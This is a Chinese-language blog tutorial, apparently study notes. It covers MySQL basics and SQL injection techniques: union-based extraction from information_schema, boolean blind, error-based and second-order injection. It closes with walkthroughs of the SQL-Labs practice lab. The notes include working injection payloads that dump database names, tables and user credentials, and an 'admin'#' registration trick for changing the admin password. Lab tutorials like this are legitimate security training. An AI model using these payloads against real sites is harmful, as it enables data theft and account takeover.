SQL&sqli-labs-master

一.MySQL增删改查

增insert

(特殊的如果id自动递增的话,就不需要插入id)
基本语法 insert into 表名(列1,列2,列3,列4,…) values(值,值,值)

eg. insert into student(name,sex,age) values(‘张三’,18,‘男’)

插入的另外一种形式:
insert into 表名 set 列=值,列=值,列=值,…

eg. insert into Set name = ‘张三’,age=18

删delete

基本语法 delete from 表名 where 列=值

eg. delete from student where id=1

DELETE from 表名 一行行删除整张表
TRUNCATE table 表名 就是清空表

改update

基本语法 update 表名 set 列=值,列=值,… where…

eg. update student set name = ‘张三’ where id=1

查select

基本select查询语句 select * from student(查询student表中所有列)
"*"代表代表所有列,要查询哪一列就把星号改成哪一列,可以查询一列,也可以查询多列,多列用逗号隔开
from后面跟的是表名
查询的结果包含列名和每一列的数据

二.SQL注入

概念

SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。

分类

sql注入的三种方式

  1. 数字型注入,当输入的参数为整型时,可能存在数字型注入漏洞;
  2. 字符型注入,当输入参数为字符串时,可能存在字符型注入漏洞;
  3. 搜索型注入,在进行数据搜索时没过滤搜索参数。

Q:sql注入有哪几种方式?
A:SQL注入的高级分类(按照执行效果分类)

  1. 基于布尔的盲注:即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入:可以使用union的情况下的注入。
  5. 堆查询注入:可以同时执行多条语句的注入。
  6. 宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字

判断是字符型注入还是数字型注入

  • 使用and 1=1和and 1=2判断

数字型一般提交内容为数字
但数字不一定为数字型
若为字符型,则and语句就不被当做一条语句执行

  • 直接计算
?id=2-1

字符型不可进行计算

Q:不用+原因?
A:+有时会被理解成空格

闭合相关

方式


"
')
")

作用

提交闭合符号,结束前一段查询语句,后面可加入其他语句来查询需要的参数
不需要的语句可用注释符号--+或’#'或%23注释掉1

--+的+被解析为空格

#和-- (有个空格)表示注释,可使它们后面的语句不被执行。在url中,如果是get请求解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格)在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用–+的方式来闭合,因为+会被编码解释成空格。
当然,也可使用–%20,把空格转换为urlencode编码格式也不会报错,同理把#变成%23也不报错。

  • 如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

Q:为什么-- 后面必须要有空格,而#后面就不需要?
A:使用-- 注释时需要使用空格才能形成有效的sql语句,而#后面可以有空格也可以没有
因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

判断列数

判断完闭合方式后直接用union查询会导致列数不一致而报错
※所以查询前先进行列数判断
group byorder by

思路总结

  1. 查找注入点
  2. 判断字符还是数字型
  3. 如果是字符,找到闭合方式,’ " ') ")
  4. 判断查询列数,group by ,order by
  5. 查询回显位置,注意第一行查询未果
  6. 开始查询

输入引号简单的看看是不是有sql漏洞
1.数字型:id=1 or 1=1
2.字符型:id=1’ or ‘1’=‘1
判断列数:id=1’ order by 5 --(空格)
定位:id = 1’ union select 1,2,3 --(空格)

  • 出库名

union有回显位置:
无回显位置:id=不存在的值,负值
information_schema.schemata -> schema_name
id=-3’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+

  • 出表名

information_schema.tables -> table_schema
id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security” --+

  • 出列名

information_schema.columns -> table_name
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

  • 出数据

id=-1’ union select 1,group_concat(username),3 from security.users–+


less1:id ,字符型, 有回显
less2:数字型
less3:绕过括号: id=2’) order by 4 --+
less4:28行有个小坑,绕过双引号 id=2") order by 4 --+)
less5: 字符型直接注入,没有回显 -》 布尔注入,延时注入
less11 : 账密登录,有回显

  • 基于布尔SQL盲注——构造逻辑判断
  1. if和正则注入
    id=1 and 1=(if((select user()) regexp “^roo”,1,0)) # 注:因为 and 出现在select子句中,所以select子句的选择是布尔的01
  2. like注入
  3. 剪切字段值通过ascii比较注入

表名&列名

  • 结构

在这里插入图片描述

  • 表名信息位置

数据库Information_schema→数据表tables→数据列table_name

  • group_concat()的作用

确保所有查询信息能放到一行显示出来

数字型union联合注入

(少一个查询闭合方式)

  1. 确定数字型还是字符型
  2. 使用group by的二分法判断union语句中前一个查询的列数
  3. 优化语句,将id改为一个不存在的数字
  4. 使用select语句,查询靶机数据库库名
  5. 使用select语句,查询靶机所有表名
  6. 使用select语句,查询靶机所有列名
  7. 查询所有用户名密码

报错注入


报错注入其实就是构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
错误信息中包含数据库信息
当输入正确查询语句时,页面没有回显,而输入错误的查询语句时,页面会报错,就是报错注入

二次注入

(转自链接

原理

攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。



在二次注入中,一般不会是单纯的二次注入,通常还会与报错注入或Bool盲注结合。比如,在注册页面输入的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模拟注册及登录。

利用过程

  1. 构造恶意语句

语句含有被转义字符的恶意查询语句

  1. 插入恶意数据

进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。

  1. 二次构造语句,引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

三.SQL-Labs靶场

部署SQL-Labs靶场

  1. 下载源码(已适配PHP版本7.x版本)

由于PHP版本问题,下载原源码的靶场压缩包并安装会出现“Call to undefined function mysql_connect()”等一系列问题,后在GitHub上找到了1中的源码修复了一系列新旧不匹配的问题,剩下安装步骤同原链接

  1. 源码解压后打开文件夹sql-connections,文件db-creds.inc右键以记事本打开,将$ dbpass =’ ';修改为$ dbpass =‘root’;
  2. 浏览器地址栏输入127.0.0.1/sqli-labs-master,选择“Setup/reset Database for labs”
  3. 部署完成

less-1

?id=1

正常,判断字符型/数字型↓

?id=1 and 1=1

1=1永真 则会正常回显

改为1=2仍正常回显,但1=2明明不对,说明不是数字型

若为数字型,则会判断为FALSE 不会正常回显内容
此处将其视为字符串,则不会计算

less-2

?id=1 and 1=2

无法看到内容,说明1=2被判断,说明为数字型注入;或者

?id=2-1

成功回显,为数字型注入,然后判断列数

?id=1 group by 3 --+

by 3正常回显,by 4报错 说明有三行。

?id=1 union select 1,2,3 --+

未显示1,2,3的原因:
前面id=1为真 同时查询时只会显示前面,若要显示后面则需前为假


然后可以查询数据库名字

?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' --+

使用group_concat()继续查询

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

less-24

(GET注入-二次注入)
请求方法:GET
方法:二次注入(存储注入)

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
if($pass==$re_pass)
{	
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    ......
}

这里SQL语句直接用了SESSION存储的username。而SESSION中存储的username$_SESSION["username"] = $login;。而

$login = sqllogin();
function sqllogin()
{
   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   echo $sql;
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
    //print_r($row) ;
   if ($row[1]) {
     return $row[1];
   } 
    else  {
      return 0;}
}

所以在update那条SQL语句中的username就是数据库中存储的usernname。


  1. 构造带转义符的语句,通过注册新用户将语句注入数据库

注册账户:admin’#
密码:123456

  1. 二次注入调用数据库中转义语句

登录进去后,此时更改admin’#密码
相当于:update password=$new where username=admin’#
(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密


  1. 注释掉:利用注释符号暂时将程序段脱离运行,而非删除 ↩︎

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值